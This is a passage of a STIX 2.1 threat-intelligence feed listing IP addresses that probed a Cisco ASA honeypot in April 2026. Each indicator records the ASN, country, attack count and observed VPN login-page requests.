          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b5c8945d-34a3-4db5-9a19-9ea0f168494c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:20:10.000Z",
      "valid_until": "2026-05-16T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-14T01:54:50.669Z",
          "last_seen": "2026-04-25T05:43:56.006Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6cc9bcc3-8b65-43bd-82dc-56efd39f70d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.151.112.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:20:10.000Z",
      "valid_until": "2026-05-16T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T14:26:51.948Z",
          "last_seen": "2026-04-14T01:36:32.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--963f013e-bdb2-4fbe-8cd8-50a8ce011a7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T03:20:05.000Z",
      "valid_until": "2026-05-16T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-14T02:29:15.009Z",
          "last_seen": "2026-04-14T02:29:23.592Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--710996be-3a98-4d96-931d-372ac6a83530",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.176.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-15T01:19:12.547Z",
          "last_seen": "2026-04-15T01:19:24.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--b780a606-9c72-4d84-bf4f-3170aeec8f00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T00:50:19.038Z",
          "last_seen": "2026-04-29T11:47:32.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3c6c080e-392b-4867-b29a-d87011d62031",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.238.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-15T00:56:49.083Z",
          "last_seen": "2026-04-15T00:57:08.307Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--ee4367b7-88aa-4121-8665-75d3e5284eaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-15T00:53:39.310Z",
          "last_seen": "2026-04-24T17:46:01.864Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4bf1c2c9-d28e-4e29-9714-96dc0d6c893a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T01:08:31.043Z",
          "last_seen": "2026-04-22T01:46:48.704Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--dbf6c579-efa9-4305-be6c-2c87f954d59c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.171.23.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T01:03:02.166Z",
          "last_seen": "2026-04-15T01:03:02.166Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--91e6c4e6-c7df-4a72-8298-fb3fc389e980",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.212.59.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-15T01:03:12.278Z",
          "last_seen": "2026-04-15T01:03:15.281Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a7af874e-2663-4729-af83-d036a0b99ea3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.84.153.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:20:04.000Z",
      "valid_until": "2026-05-17T01:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T00:56:23.313Z",
          "last_seen": "2026-04-15T00:56:23.313Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--efbf64b3-787a-45d2-abe4-0ce52d62ed32",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '153.80.115.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:20:12.000Z",
      "valid_until": "2026-05-17T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T10:56:33.074Z",
          "last_seen": "2026-04-15T07:32:10.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T03:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--9142746a-80e6-4e5e-a5e9-4bb8469488c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:20:12.000Z",
      "valid_until": "2026-05-17T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-15T02:57:01.530Z",
          "last_seen": "2026-04-15T02:57:21.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--442b17a7-fa99-4d0a-ab40-6fceee3c7428",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.104.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T04:20:12.000Z",
      "valid_until": "2026-05-17T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T03:58:17.485Z",
          "last_seen": "2026-04-15T06:04:03.522Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2a951887-7d86-41e2-b315-ff747e5d579d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.242.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T04:20:12.000Z",
      "valid_until": "2026-05-17T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T03:54:15.632Z",
          "last_seen": "2026-04-15T03:54:43.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/config.php HTTP/1.0\" 404 - geo: KR; ASN 9318 (SK Broadband Co Ltd)",
      "id": "indicator--5ea4010f-9bc6-4456-8b41-07ac519543cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '58.229.188.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T04:20:12.000Z",
      "valid_until": "2026-05-17T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-15T03:35:00.479Z",
          "last_seen": "2026-04-27T15:30:03.336Z",
          "country": "South Korea",
          "country_code": "KR",
          "asn": 9318,
          "as_org": "SK Broadband Co Ltd",
          "event_types": [
            "\"GET /admin/config.php HTTP/1.0\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T06:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: SC; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d6ef1f6a-0172-4e57-87cb-0d8e8c5dae81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.229.246.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:20:07.000Z",
      "valid_until": "2026-05-17T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T06:19:22.955Z",
          "last_seen": "2026-04-15T06:19:45.055Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T06:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--416de967-4481-471b-89a0-d6d4f58e19c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.100.145.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:20:07.000Z",
      "valid_until": "2026-05-17T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T11:15:38.986Z",
          "last_seen": "2026-04-15T05:21:14.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T06:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:20:07.000Z",
      "valid_until": "2026-05-17T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-15T05:23:19.986Z",
          "last_seen": "2026-04-15T05:23:22.989Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--a64e559a-d3dd-4f0f-9da2-a2574fd35480",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-15T08:59:00.005Z",
          "last_seen": "2026-04-28T02:53:00.977Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
